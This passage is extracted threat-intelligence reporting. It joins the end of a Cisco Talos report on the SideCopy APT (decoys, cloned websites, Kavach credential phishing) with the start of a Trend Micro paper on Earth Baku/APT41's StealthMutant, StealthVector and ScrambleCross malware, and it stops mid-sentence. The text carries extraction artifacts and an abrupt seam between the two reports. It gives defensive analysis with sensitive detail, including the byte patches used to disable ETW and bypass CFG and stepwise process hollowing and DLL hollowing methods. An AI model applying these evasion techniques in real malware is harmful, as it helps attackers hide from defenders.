LNK files that display +explicit photos of women. The +infection chain again delivers +CetaRAT and Allakore. We +ve also +observed APT36 (Transparent Tribe) +use these types of honeytraps +extensively in campaigns targeting +members of India +s military with +CrimsonRAT. +Figure 35: ORF decoy +document used in +njRAT infections. +Also like APT36, SideCopy clones +legitimate websites that actually just +serve malicious content. +In the case of SideCopy, we +discovered afghannewsnetwork[.] +com, a website posing as the +Pajhwok Afghan News, an Afghani +independent news agency (Figure +37). This website was used as +a C2 for actionRAT, delivered +using malicious LNKs that used +decoy documents that looked like +professional resumes - another +targeting tactic closely resembling +APT36 (Transparent Tribe). +Figure 36: Ministry of +External Affairs Circular +decoy document. + 2021 Cisco. All rights reserved. +talos-external@cisco.com | talosintelligence.com +page 21 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +Figure 37: (Left) malicious cloned website vs. (Right) Legitimate website for the Pajhwok Afghan News. +CREDENTIAL HARVESTING +One of SideCopy +s central motives is credential +harvesting. Specifically, the group looks to steal access +credentials from central Indian government employees. +The group commonly targets Kavach, an MFA app used +across India +s government. Kavach allows employees +(including military personnel) to access IT resources such +as email services. +SideCopy has shown a particular interest in Kavach, +deploying the njRAT malware with special victim IDs of +kavach. + They also use GoLang-based file recon plugins +(Nodachi) to exfiltrate Kavach authentication databases +from infected devices. Some droppers for MargulasRAT +also masqueraded as installers for Kavach on Windows. +ve also discovered phishing portals operated by +SideCopy posing as the GoI +s webmail to trick victims +into divulging their email credentials (Figure 38). +Figure 38: Phishing portal for webmail[.]gov[.]in set up +by SideCopy. + 2021 Cisco. All rights reserved. +talos-external@cisco.com | talosintelligence.com +page 22 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +CONCLUSION +What started as a simple infection vector by SideCopy to +deliver a custom RAT (CetaRAT), has evolved into multiple +variants of infection chains delivering several RATs. The use +of these many infection techniques + ranging from LNK files +to self-extracting RAR EXEs and MSI-based installers + is an +indication that the actor is aggressively working to infect their +victims. This threat actor is also rapidly evolving their malware +set using a combination of custom and commodity RATs and +plugins. The variety of post-infection plugins specifically used +by the attacker signifies a focus on espionage. +Targeting tactics used by SideCopy consists of multiple themes, +quite similar to those utilized by APT36: military, diplomatic and +honeytraps. This indicates that the group continues to target +government entities in the Indian subcontinent. +Product +Cisco Secure Endpoint +(AMP for Endpoints) +Cloudlock +Cisco Secure Firewall/Secure IPS +(Network Security) +Cisco Secure Network Analytics +(Stealthwatch) +Cisco Secure Cloud Analytics +(Stealthwatch Cloud) +Cisco Secure Malware Analytics +(Threat Grid) +COVERAGE +Cisco Secure Web Appliance +(Web Security Appliance) +Cisco Secure Endpoint (formerly AMP for Endpoints) is +ideally suited to prevent the execution of the malware +detailed in this post. Try Secure Endpoint for free here. +Cisco Secure Web Appliance web scanning prevents +access to malicious websites and detects malware used in +these attacks. +Cisco Secure Email (formerly Cisco Email Security) can +block malicious emails sent by threat actors as part of their +campaign. You can try Secure Email for free here. +Cisco Secure Firewall (formerly Next-Generation Firewall +and Firepower NGFW) appliances such as Threat Defense +Virtual, Adaptive Security Appliance and Meraki MX can +detect malicious activity associated with this threat. +Cisco Secure Email +This boost in SideCopy +s operations aided by multiple +infection chains, RATs and plugins marks the group +s intent +to rapidly evolve their TTPs. +Ways our customers can detect and block this threat are +listed below. +Protection +Umbrella +Umbrella, Cisco +s secure internet gateway (SIG), blocks +users from connecting to malicious domains, IPs and URLs, +whether users are on or off the corporate network. Sign up +for a free trial of Umbrella here. +Cisco Secure Web Appliance (formerly Web Security +Appliance) automatically blocks potentially dangerous sites +and tests suspicious sites before users access them. +Additional protections with context to your specific +environment and threat data are available from the Firewall +Management Center. +Cisco Duo provides multi-factor authentication for users to +ensure only those authorized are accessing your network. +Cisco Secure Network/Cloud Analytics (Stealthwatch/ +Stealthwatch Cloud) analyzes network traffic automatically +and alerts users of potentially unwanted activity on every +connected device. +Open-source Snort Subscriber Rule Set customers can stay +up to date by downloading the latest rule pack available for +purchase on Snort.org. SIDs 57842 - 57849 can protect +against the threats outlined in this paper. +Cisco Secure Malware Analytics (Threat Grid) identifies +malicious binaries and builds protection into all Cisco +Secure products. +Cisco Secure Endpoint users can use Orbital Advanced +Search to run complex OSqueries to see if their endpoints +are infected with this specific threat. + 2021 Cisco. All rights reserved. +talos-external@cisco.com | talosintelligence.com +page 23 of 23 +Earth Baku +An APT Group Targeting Indo-Pacific Countries +With New Stealth Loaders and Backdoor +Hara Hiroaki and Ted Lee +Contents +TREND MICRO LEGAL DISCLAIMER +The information provided herein is for general information +and educational purposes only. It is not intended and +should not be construed to constitute legal advice. The +information contained herein may not be applicable to all +situations and may not reflect the most current situation. +Background +Nothing contained herein should be relied on or acted +upon without the benefit of legal advice based on the +particular facts and circumstances presented and nothing +herein should be construed otherwise. Trend Micro +reserves the right to modify the contents of this document +at any time without prior notice. +Translations of any material into other languages are +intended solely as a convenience. Translation accuracy +is not guaranteed nor implied. If any questions arise +related to the accuracy of a translation, please refer to +the original language official version of the document. Any +Attack Vectors +Technical Analysis of the Loaders +discrepancies or differences created in the translation are +not binding and have no legal effect for compliance or +enforcement purposes. +Although Trend Micro uses reasonable efforts to include +accurate and up-to-date information herein, Trend Micro +makes no warranties or representations of any kind as +Technical Analysis of the Payloads +to its accuracy, currency, or completeness. You agree +that access to and use of and reliance on this document +and the content thereof is at your own risk. Trend Micro +disclaims all warranties of any kind, express or implied. +Neither Trend Micro nor any party involved in creating, +producing, or delivering this document shall be liable +Attribution +for any consequence, loss, or damage, including direct, +indirect, special, consequential, loss of business profits, +or special damages, whatsoever arising out of access to, +use of, or inability to use, or in connection with the use of +this document, or any errors or omissions in the content +thereof. Use of this information constitutes acceptance for +use in an +as is + condition. +Published by +Trend Micro Research +Written by +Hara Hiroaki +Ted Lee +Stock image used under license from +Shutterstock.com +Conclusion and Security +Recommendations +Appendix +Cyberespionage has become a more prevalent threat in today +s security landscape, putting +private enterprises and public agencies alike at risk of major upsets to their operations. +This research paper covers the technical details of a new cyberespionage campaign that +we believe can be traced back to the notorious advanced persistent threat (APT) group +Earth Baku. In this campaign, Earth Baku +s attacks have been leveled against companies in +various countries in the Indo-Pacific region. +Trend Micro has previously covered the various methodologies employed by this APT +group, which also operates under the alias APT41. Its exploits have been well documented; +the group has garnered a reputation for its use of advanced, self-developed tools.1 In fact, +Earth Baku has been associated with a slew of cybercrimes such as watering hole attacks2 +and spear phishing attacks.3 Its previous targets include companies in the pharmaceutical +and telecommunications industries. +Earth Baku has yet again updated its arsenal, as evidenced by the latest additions of two +shellcode loaders, which we have named StealthVector and StealthMutant, and a modular +Windows backdoor, which we have dubbed ScrambleCross. Our in-depth analysis of these +newfound malware tools revealed that they have easily customizable features and are +distributed through different attack vectors, making it convenient for malicious actors to +tailor them to specific victims. +This report aims to shed light on the sophisticated toolset involved in this new campaign, +although Earth Baku +s motives behind the development of the shellcode loaders and +backdoor are not entirely clear. While these have been probably used as part of statebacked attacks to collect competitive intelligence, the inner workings of Earth Baku itself +remain unknown. It is likely that the group is composed of threat actors who collaborate by +sharing tools with diverse attack infrastructures,4 but their use of the new shellcode loaders +and backdoor suggests that they have recruited members with specific areas of expertise. +Background +Late last year, we discovered a new shellcode loader designed to execute an arbitrary shellcode with a +stealth mode feature. Since then, we have found multiple variants of this loader, which we have named +StealthVector, and, in addition, a shellcode loader written in C#, which we have named StealthMutant. +These shellcode loaders have two different payloads: the Cobalt Strike beacon and a newly found modular +backdoor, which we have dubbed ScrambleCross. +Based on their indicators, we have concluded that the threat actors behind this campaign are linked +to Earth Baku, an APT group that also goes by the name APT41. Earth Baku, a cyberespionage and +cybercriminal group, was charged by the US Department of Justice in August 2020 with computer +intrusion offenses related to data theft, ransomware, and cryptocurrency mining attacks.5 +Earth Baku +s new campaign, which has been active since at least July 2020, is related to a previous one +reported by Positive Technologies6 and FireEye,7 which had used a different shellcode loader, which we +had named LavagokLdr, as shown in Figure 1. However, since the group has fully updated its toolset, we +recognize this attack as an entirely new campaign. +New campaign +StealthMutant +Jul 2020 +onward +Cobalt Strike +ScrambleCross +LavagokLdr +Nov 2018 +onward +Cobalt Strike +Crosswalk +Metasploit +2020 +StealthVector +Oct 2020 +onward +Cobalt Strike +ScrambleCross +2021 +Figure 1. A timeline of Earth Baku +s use of LavagokLdr in its previous campaign and of StealthMutant, +StealthVector, and ScrambleCross in its new campaign +4 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +This campaign affects some Indo-Pacific countries, including India, Indonesia, Malaysia, the Philippines, +Taiwan, and Vietnam, as illustrated in Figure 2. It targets both enterprises and government entities, +including organizations in the airline, computer hardware, automotive, infrastructure, publishing, media, +and IT industries. From a geopolitical point of view, many of the countries affected by this recent campaign +overlap with those reported in the aforementioned indictment of Earth Baku by the US. +Figure 2. The countries affected by the Earth Baku campaign, all in the Indo-Pacific region +Source: Trend Micro + Smart Protection Network + infrastructure +5 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Attack Vectors +We have observed that Earth Baku has been using multiple attack vectors for this campaign. +Exploitation Against a Web Application +Upon studying one of the incident responses from the campaign, we found that Earth Baku performed +an SQL injection attack on the victim +s web application to gain a foothold in the network, as depicted in +Figure 3. +Attacker +The attacker +exploits public +Microsoft SQL +Server via sqlmap. +VBS decodes the +Base64-encoded +text and drops +the components. +The BAT +le installs +StealthVector +as a +Windows service. +VBS dropper +BAT launcher +Base64-encoded +text +StealthVector +SQL injection +Encrypted payload +Figure 3. Earth Baku +s attack chain using SQL injection as the attack vector +6 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Based on the Visual Basic Script (VBS) scripts used in this attack (Figure 4), we believe that the actors +used sqlmap, a Python-based SQL penetration testing tool, to upload a malicious file (Figure 5).8 +Figure 4. The VBS file that is dropped in a victim +s machine +Figure 5. The script in sqlmap +7 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +This dropper decodes a specified Base64-encoded file, and then drops it in a specified file path. In such +an attack, the malware creates install.bat, which installs StealthVector as a Windows service (Figure 6). +Figure 6. StealthVector installed as a Windows service +Exploitation of a Microsoft Exchange Server +Vulnerability +Another method involves a China Chopper web shell that is uploaded to Microsoft Exchange Server by +exploiting the ProxyLogon vulnerability CVE-2021-26855.9 We also detected StealthVector on Microsoft +Exchange Server, from which we inferred that Earth Baku likely deployed China Chopper using the +ProxyLogon exploit, and then uploaded StealthVector using a web shell (Figure 7). This was not the first +time that Earth Baku had capitalized on the ProxyLogon exploit in its operations, as this was also reported +by ESET in March 2021.10 We believe that the group +s usage of this exploit is likely to continue unless +enterprises address this flaw by updating their systems with the released patch. +Attacker +The attacker +exploits the +Microsoft Exchange +Server vulnerability. +The China Chopper +web shell is +deployed. +The StealthVector +malware is +uploaded via +China Chopper. +ProxyLogon +ASP Web Shell +StealthVector +Figure 7. Earth Baku +s attack chain using exploitation of the ProxyLogon vulnerability +as the attack vector +8 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Possible Email Vector +Upon further investigation on VirusTotal, we discovered that it is possible that the same threat actors have +attempted to distribute StealthVector through LNK (link) files sent as email attachments (Figure 8). +The decoy +is opened and +StealthVector +is executed. +The LNK +downloads +using the renamed +CertUtil.exe. +Decoy +Email? +Attacker +LNK downloader +StealthVector +Figure 8. Earth Baku +s attack chain possibly using an LNK file as the attack vector +The LNK file renames CertUtil.exe, a legitimate Microsoft command-line tool, and uses the renamed tool +to download both a decoy document and StealthVector (Figure 9). However, we have never seen this type +of infection vector in the wild. +Figure 9. The LNK file renaming CertUtil.exe +InstallUtil.exe via a Scheduled Task +StealthMutant, for its part, is executed using a different mechanism. Although we are still not certain +how an attacker gains access to a system, we have discovered that StealthMutant is executed by +InstallUtil.exe through a scheduled task, as illustrated in Figure 10. +9 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +The attacker drops +the components and +adds the InstallUtil +command line in +a scheduled task. +InstallUtil.exe +executes +StealthMutant +in the argument. +Scheduled task +InstallUtil.exe +Attacker +StealthMutant +Encrypted payload +Figure 10. The execution of StealthMutant through InstallUtil.exe +InstallUtil.exe is a legitimate installer application under Microsoft +s .NET Framework, but it is also known +as a living-off-the-land binary (LOLBin) that is used in the proxy execution of .NET Framework programs. +In a scheduled task, InstallUtil.exe is registered to run StealthMutant, as demonstrated in Figure 11. +Figure 11. InstallUtil.exe being registered to run StealthMutant via a scheduled task +10 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Technical Analysis of the Loaders +Earth Baku +s new campaign takes advantage of the various capabilities of two shellcode loaders, +StealthMutant and StealthVector. +StealthMutant +StealthMutant is an evasive shellcode loader written in C# that has been in use since at least July 2020. It +reads a file that is encrypted by AES-256-ECB, decrypts the file in memory, injects its malicious payload +into a remote process, and then executes it. We have observed that its payload has been either the +Cobalt Strike beacon or the ScrambleCross backdoor. Most of the StealthMutant samples we have come +across are obfuscated by ConfuserEx, an open-source obfuscator for .NET Framework applications. +After deobfuscating these samples, we have observed raw namespaces and classes that describe their +purpose (Figure 12). +Figure 12. The namespaces and classes from the deobfuscated samples +11 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +All the strings in StealthMutant are encrypted with the encryption algorithm AES-256-ECB and are +decrypted on the spot, as shown in Figure 13. The decrypted strings are as follows: +1. The MagicString class provides a getter property, which decrypts strings on access. +2. The MagicString class has an encrypted string field. +3. The MagicString class provides __Decrypt, a wrapper method for decryption. +4. If it is StealthMutant +s first time to use the __Decrypt method, the AES (Advanced Encryption Standard) +key and initialization vector (IV) will be initialized based on the hard-coded __factory value, although +this IV is meaningless in Electronic Code Block (ECB) mode. The key is the SHA-256 hash, while the IV +is the MD5 hash. The values of the SHA-256 and MD5 hashes vary with each StealthMutant sample. +5. The __Decrypt method calls the Crypto.DecryptData method. +6. The Crypto.DecryptData method decrypts the given data by the hard-coded mode or, in this case, +the ECB mode. +Figure 13. The decrypted StealthMutant strings +The main purpose of StealthMutant is to execute the second stage of the shellcode under stealth mode. +To this end, StealthMutant patches the EtwEventWrite function +s API to disable Event Tracing for Windows +(ETW), making it invisible to Windows + built-in logging system. +StealthMutant appears to support both 32-bit and 64-bit architectures. In the DoPatch method, +StealthMutant determines the architecture dynamically, as demonstrated in Figure 14. If it is running on a +32-bit operating system, StealthMutant patches the system with +C2 14 00 (ret 0x14) +, whereas it patches +a 64-bit system with +48 31 C0 C3 (xor rax, rax; ret) +12 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Figure 14. StealthMutant patching based on the architecture +The file names of the encrypted payload are hard-coded, but these differ with each StealthMutant sample. +The file name string is also encrypted using AES-256-ECB. If the target encrypted file exists in a current +running directory, StealthMutant reads and decrypts it in memory. +Most of the StealthMutant samples use AES-256-ECB for decryption (Figure 15), but the earlier versions of +the malware used XOR for decryption (Figure 16). However, we have not spotted these previous iterations +of StealthMutant since July 2020. +Figure 15. The version of StealthMutant that uses AES-256-ECB +13 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Figure 16. An older version of StealthMutant that used XOR +The StealthMutant variants that use AES-256-ECB and XOR share the same decryption steps. The +StealthMutant samples that use AES have an encrypted file containing junk bytes, the signature, the +seed for the key, the seed for the IV, and the encrypted payload body. The sizes of the junk bytes, the +seed for the key, and the seed for the IV vary among the samples. The decryption algorithm of one such +StealthMutant sample (Figure 17), which has a junk bytes size of 128, a key seed size of 12, and an IV +seed size of 12, is as follows: +1. Calculate the MD5 hash of the encrypted payload body. The body is composed of the key seed, the +IV seed, and the encrypted payload. +2. Compare the MD5 hash with the signature in the encrypted file to check its integrity. +3. Copy the specified size of bytes following the signature, and then calculate the SHA-256 hash for the +AES key. +4. Copy the specified size of bytes following the seed for the key, and then calculate the MD5 hash for +AES IV. However, this is meaningless in ECB mode. +5. Decrypt the rest of the bytes using AES-256-ECB with the generated SHA-256 key. +6. Compare the specified size of bytes at the top of the decrypted bytes with that of the hard-coded +bytes, which can be found in the Protocol.Flag field. +7. If StealthMutant passes all these verifications, read the specified size of the payload. +14 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Junk +Signature +Bytes to generate key +Bytes to generate IV +Encrypted payload +Size +AES-256-ECB +Key = SHA-256 (bytes to generate key) +Signature +Shellcode +Figure 17. A StealthMutant sample +s decryption algorithm +After the decryption of its payload, StealthMutant executes this shellcode payload in a remote process by +using the process hollowing technique. As shown in Figure 18, StealthMutant performs process hollowing +through the following steps: +1. It creates a specified process, which is hard-coded in binary, in suspended mode. +2. It creates a new section, maps a view of it in the local process by using NtCreateSection and +ZwMapViewOfSection, and copies the decrypted shellcode onto this section. +3. It maps the section to the remote process, which also results in mapping of the shellcode in the +remote process. +4. It looks for the entry point of the remote suspended process and patches it to change the execution +flow into the entry of the mapped payload. +5. Finally, it resumes the main thread of the suspended process and executes the payload. +15 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +StealthMutant +Legitimate process +Spawn process in +suspended mode. +Code +Decrypt +Payload +Payload +Legitimate code +Patch entry point +to jump payload +in DLL, and then +resume thread. +Payload +Map view of +section to +remote process. +Create section, map to local +process, and then copy payload. +Encrypted payload +Figure 18. StealthMutant performing process hollowing to execute its payload +This technique is widely used as a red-team tool in C#. Based on its code, we assume that the author of +StealthMutant possibly reused an open-source process hollowing implementation from GitHub.11 +StealthVector +In October 2020, we discovered StealthVector, an evasive shellcode loader written in C/C++. This malware +implements various evasion techniques and is still actively being developed. We have observed that its +payload is either the Cobalt Strike beacon or the malware ScrambleCross. (The Japanese security service +company LAC previously published a blog post discussing the Cobalt Strike beacon.12) +StealthVector is designed to execute the second stage of the payload in stealth mode. This means that its +evasive techniques can be enabled and disabled by its embedded configuration. Because of this, malicious +actors can easily customize this loader for their targets. The configuration of StealthVector (Figure 19) is +embedded in its data section with ChaCha20 encryption, which is decrypted upon initialization (Figure +20). This ChaCha20 routine notably uses a fixed custom value of 0x13 for the initial counter (Figure 21). +Figure 19. The configuration of StealthVector +16 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +ChaCha20 nonce +for con +CRC-32 of +encrypted con +Size of encrypted con +Encrypted con +Key for ChaCha20 +Figure 20. The locations of StealthVector +s encrypted configuration and ChaCha20 key information +Figure 21. The fixed custom value used in the ChaCha20 routine +17 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +According to RFC7539, the Internet Engineering Task Force (IETF) specification for the ChaCha20 stream +cipher and the Poly1305 authenticator,13 the ChaCha20 algorithm uses a 32-bit initial counter. This counter +can be any number but is usually 0 or 1. As far as we have observed, StealthVector always uses 0x13 +for its initial counter, which is an uncommon practice. This makes it difficult to decrypt the malware +configuration using common methods such as the Python library pycryptodome, which does not support +custom initial counters. +The decrypted configuration data is copied onto a newly allocated buffer, which determines its behavior. +There are two types of configurations found in the wild. One is for a local shellcode runner, which has a +size of 0x38. This type of configuration has fields for checksum, flags for context awareness, flags for +evasive features, and information for the payload (Figure 22 and Figure 23). +Figure 22. The configuration that loads the encrypted payload from StealthVector +s own binary +Figure 23. The configuration that loads the encrypted payload from a defined file path +The other is for a remote shellcode injector, which has a size of 0x44. This type of configuration has +fields for checksum, flags for context awareness, flags for evasive features, information for injection, and +information for the payload (Figure 24 and Figure 25). +18 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Figure 24. The configuration that loads the encrypted payload from a defined file path but no injection +Figure 25. The configuration that loads the encrypted payload from a defined file path and performs +process injection +Configurable Features +StealthVector has various configurable features that enable malicious actors to easily modify its behavior. +We believe this design is meant to keep malware development simple, as the actors will not need to +change its source code in order to implement these features. We discuss these features in the succeeding +subsections. +Disabling Event Tracing for Windows +StealthVector can disable ETW to cover its tracks, as shown in Figure 26. +Figure 26. StealthVector configured to disable ETW +19 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Context Awareness +A common feature of other malware, such as mutual exclusion object (mutex) checking or username +checking for context awareness, can also be configured into StealthVector, as shown in Figure 27. +Figure 27. StealthVector configured for context awareness +Logic to Determine Payload Location +StealthVector decrypts and executes its payload in memory, but it can also be configured to load its +encrypted payload in a specific location. Some variants embed the payload in its binary, while others load +it to another file in the same directory, whose file name is specified in the malware +s configuration (Figure +28). The decryption logic is the same for all variants of StealthVector: It reads the specific size of data +from a specific offset. The values for the offset and the size of the encrypted payload are already defined +in the malware +s configuration. Afterward, the payload will be decrypted by ChaCha20. This same routine +is used in decrypting StealthVector +s configuration, but the nonce for its payload is already defined in the +configuration (Figure 29). +Figure 28. A StealthVector variant that embeds its encrypted payload into a specific file +20 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Figure 29. Stealthvector +s decryption logic +21 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Self-Uninstallation +StealthVector can also uninstall itself based on its configuration, as shown in Figure 30. +Figure 30. StealthVector +s uninstall configuration +Shellcode Execution Techniques +StealthVector implements various shellcode execution techniques. We discuss these techniques in the +succeeding subsections. +Execution Using CreateThread +The simplest way for StealthVector to execute its shellcode payload is by using the CreateThread function, +as shown in Figure 31. +Figure 31. Execution of the shellcode using CreateThread +Module Stomping in Local Process +Some variants of StealthVector implement an evasive technique called module stomping, which is +designed to bypass the detection of reflective loading. Module stomping is well known because Cobalt +Strike has implemented this feature in its version 3.11.14 In the case of StealthVector, however, the injected +payload is a shellcode instead of a dynamic link library (DLL). To perform this technique, StealthVector +looks for a legitimate DLL that has sufficient space for its payload, +(payload_size + 2048) +, as shown in +Figure 32. +22 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Figure 32. StealthVector looking for a DLL with enough space for its payload +Once it finds one that meets its space requirement, StealthVector loads that DLL using the LoadLibraryExW +function, with the flag DONT_RESOLVE_DLL_REFERENCES. As shown in Figure 33, when this flag is +enabled, the system does not call the DllMain of the target DLL upon loading. +Figure 33. StealthVector enabling DONT_RESOLVE_DLL_REFERENCES after finding its target DLL +23 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Once it loads the target DLL, StealthVector changes the protection settings of the DLL using read, write, +and execute (RWX) permissions. It then copies its payload onto the legitimate DLL and executes the +payload through the CreateThread function, as illustrated in Figure 34. +StealthVector +Overwrite with +shellcode and +execute. +Payload +Legitimate DLL +Code +Decrypt. +Find DLL and +LoadLibraryExW. +Encrypted payload +Encrypted payload +Figure 34. StealthVector +s process of overwriting the target DLL with its malicious payload +Bypassing Control Flow Guard +As shown in Figure 35, some variants of StealthVector run their shellcode by bypassing Microsoft +Control Flow Guard (CFG), an exploit mitigation technology. CFG makes it difficult for malware to run +code on Windows operating systems by restricting indirect calls to an unapproved address. In this case, +StealthVector executes its shellcode using CreateThread, which checks the target address. +In order to sidestep attempts to verify its indirect call, StealthVector will then patch the +LdrpHandleInvalidUserCallTarget API in ntdll.dll with +48 FF E0 CC 90 (jmp rax; int3; nop) +, as shown in +Figure 36. LdrpHandleInvalidUserCallTarget is called when CFG, through the LdrpValidateUserCallTarget +function, determines that the target address is invalid. StealthVector can patch this API without crashing +the application. +24 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Figure 35. StealthVector bypassing CFG to execute its shellcode +Figure 36. StealthVector patching LdrpHandleInvalidUserCallTarget +Phantom DLL Hollowing in Remote Process +Some variants of StealthVector can also inject their shellcode payload into a remote process using +phantom DLL hollowing, a technique that is a combination of process hollowing and module stomping +(Figure 37). To do this, StealthVector spawns a new process, which is specified in its configuration, in +suspended mode. StealthVector uses the NtCreateSection and ZwMapViewOfSection APIs to load a +legitimate DLL into this newly created process. The logic of finding its target DLL is the same as that +in module stomping: It checks if the code section, or (.text section size), is large enough. Afterward, it +overwrites the code section of the loaded DLL with its own payload and executes it in the DLL +s memory +space. It then patches the entry point of the legitimate process in order to modify the shellcode +s execution +flow to this entry point in the DLL. Using this method, malicious actors can hide StealthVector +s payload +within the memory space of an image, which often goes unnoticed by common memory scan engines, +and execute it like a normal module. +25 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +StealthVector +Legitimate process +Spawn process in +suspended mode. +Code +Map legitimate +DLL to section. +call +Legitimate code +Patch entry point +to call payload in +DLL, and then +resume thread. +Decrypt +Encrypted payload +Encrypted payload +Payload +Map view of +section to +remote process. +Overwrite speci +function with shellcode. +Figure 37. StealthVector performing phantom DLL hollowing +26 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +Technical Analysis of the Payloads +Our analysis has revealed that StealthMutant and StealthVector can contain two different payloads. One +is the Cobalt Strike beacon and the other is the newly found malware ScrambleCross. +Cobalt Strike Beacon +Among most of the samples we have come across, there are two types of Cobalt Strike beacons: a hybrid +HTTP DNS (Domain Name System) and HTTPS. Interestingly, all the Cobalt Strike beacons in memory +are in a Portable Executable (PE) file format with a characteristic header, as shown in Figure 38. While it +appears as a valid MZ header, it can also be executed as machine code. +Figure 38. The Cobalt Strike beacon in a PE file format +27 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +This assembly, much like a PE header, calculates the address of a specific function, which serves as the +entry point for the reflective loader to dynamically initialize and execute a DLL. It should also be noted +that some of the samples have PE files with broken headers, although they still operate in the same way +(Figure 39). +Figure 39. A broken PE header +The Cobalt Strike beacons in the samples we have uncovered bear similarities to those used in attacks +carried out by the Chimera APT group, as reported by Cycraft.15 However, it remains uncertain whether this +campaign can definitively be linked to Chimera, as many similar Cobalt Strike beacons and Meterpreter +shellcodes can also be found on VirusTotal (Figure 40). +Figure 40. Search results for Cobalt Strike beacons on VirusTotal +The Cobalt Strike beacon found in the StealthMutant and StealthVector samples has two types of +watermarks. One is +305419896 +, which is that of a cracked version, and is widely used by a variety of +other malicious actors, according to research conducted by VMware Carbon Black.16 The other watermark +426352781 +, which has been in use since at least May 2021 but has never been attributed to malicious +actors before. +28 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +ScrambleCross, or a Refactored Crosswalk +During our analysis, we found a never-before-seen shellcode as a payload of StealthMutant and +StealthVector. Upon closer study, we learned that this payload uses similar techniques to those of the +Crosswalk backdoor. A modularized shellcode-based backdoor that is known to be used by Earth Baku, +Crosswalk can execute additional shellcodes on memory as a plug-in. According to an indictment by the +US Department of Justice,17 Crosswalk was also used by members of Chengdu 404 Network Technology, +a network security business. The similarities between Crosswalk and ScrambleCross indicate that the +actual entity behind this campaign could be or is linked to members of Chengdu 404 Network Technology. +Following our analysis, we have concluded that this unknown payload is a new version, or rather a +fully refactored version, of Crosswalk. It still has many of the same capabilities as Crosswalk, but these +are implemented differently. Considering this, we have named this new backdoor ScrambleCross to +distinguish it from its predecessor. +ScrambleCross shares the following features with Crosswalk: +It is designed as fully position-independent code. +It has encrypted code, data, and configuration. +It calculates the hash of the code section as an anti-debugging technique. +It supports multiple types of network communication protocols. +It uses message queues to asynchronously receive commands from worker threads. +Crosswalk +s capabilities have been documented at length by the likes of Positive Technologies, +ZScaler,18 and VMware Carbon Black.19 But there are some key differences between this backdoor and +ScrambleCross. Much like Crosswalk, ScrambleCross also embeds encrypted code in itself, but it uses +a slightly different encryption algorithm to do so. To decode its functions and global values, including +imports or strings, ScrambleCross uses a 16-byte XOR, as shown in Figure 41. +29 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +XOR key for global values +XOR (size = 0x1014) +Signature of code +Signature of global values (cleared right after use) +XOR key for code +Imports +Figure 41. ScrambleCross using a 16-byte XOR to decode its functions and global values +However, for its network configuration, ScrambleCross uses ChaCha20 for decryption instead of XOR +(Figure 42). The encrypted network configuration is embedded at offset 0x1028 from the top of the +configuration. +30 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +ChaCha20 key +MDS of encrypted con +IP address in +network byte order +ChaCha20 nonce +# of Con +Type 1 +ChaCha20 +(counter = 0xB) +Size +# of Con +Type 2 +Enable TLS for +g Type 1 +Enable TLS for +g Type 2 +Size of +hostname +Size of +object name +Port for +g Type 1 +Port for +g Type 2 +Hostname for +g Type 2 +Figure 42. ScrambleCross using ChaCha20 for decryption in its network configuration +Like StealthVector, ScrambleCross uses a fixed value of 0xB for its initial counter. The ChaCha20 routine +shown in Figure 43 is used for encryption and decryption. +Figure 43. The ChaCha20 routine +31 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor +With regard to its command-and-control (C&C) server communication, Crosswalk supports TCP +(Transmission Control Protocol) and HTTP for application layer protocols, and uses AES-128 for transport +layer encryption. ScrambleCross similarly supports TCP, HTTP, and HTTPS for application layer protocols, +but it instead uses ChaCha20 and a custom message structure for transport layer encryption. Regardless +of whether TCP or HTTP protocols are used, both the client request and the C&C server response have +the same message structure. +The client request data is compiled in the following nine steps, as illustrated in Figure 44. On the other +hand, after deconstructing the server response data, we found that it is compiled in reverse order. +1. Receive a 16-byte challenge from the server, or generate a 16-byte null key instead. +2. Generate a random 16-byte ChaCha20 nonce. +3. Generate a 32-byte ChaCha20 key. +4. Compress the raw request data using the LZ4 compression algorithm. +5. Encrypt the payload chunk with ChaCha20, using the key generated in Step 3. The nonce is the first +12 random bytes generated in Step 2. +6. Calculate the MD5 hash of the victim information. The victim information consists of the globally +unique identifier (GUID), botID, and computer name of the victim +s device. +7. Encrypt the header chunk with 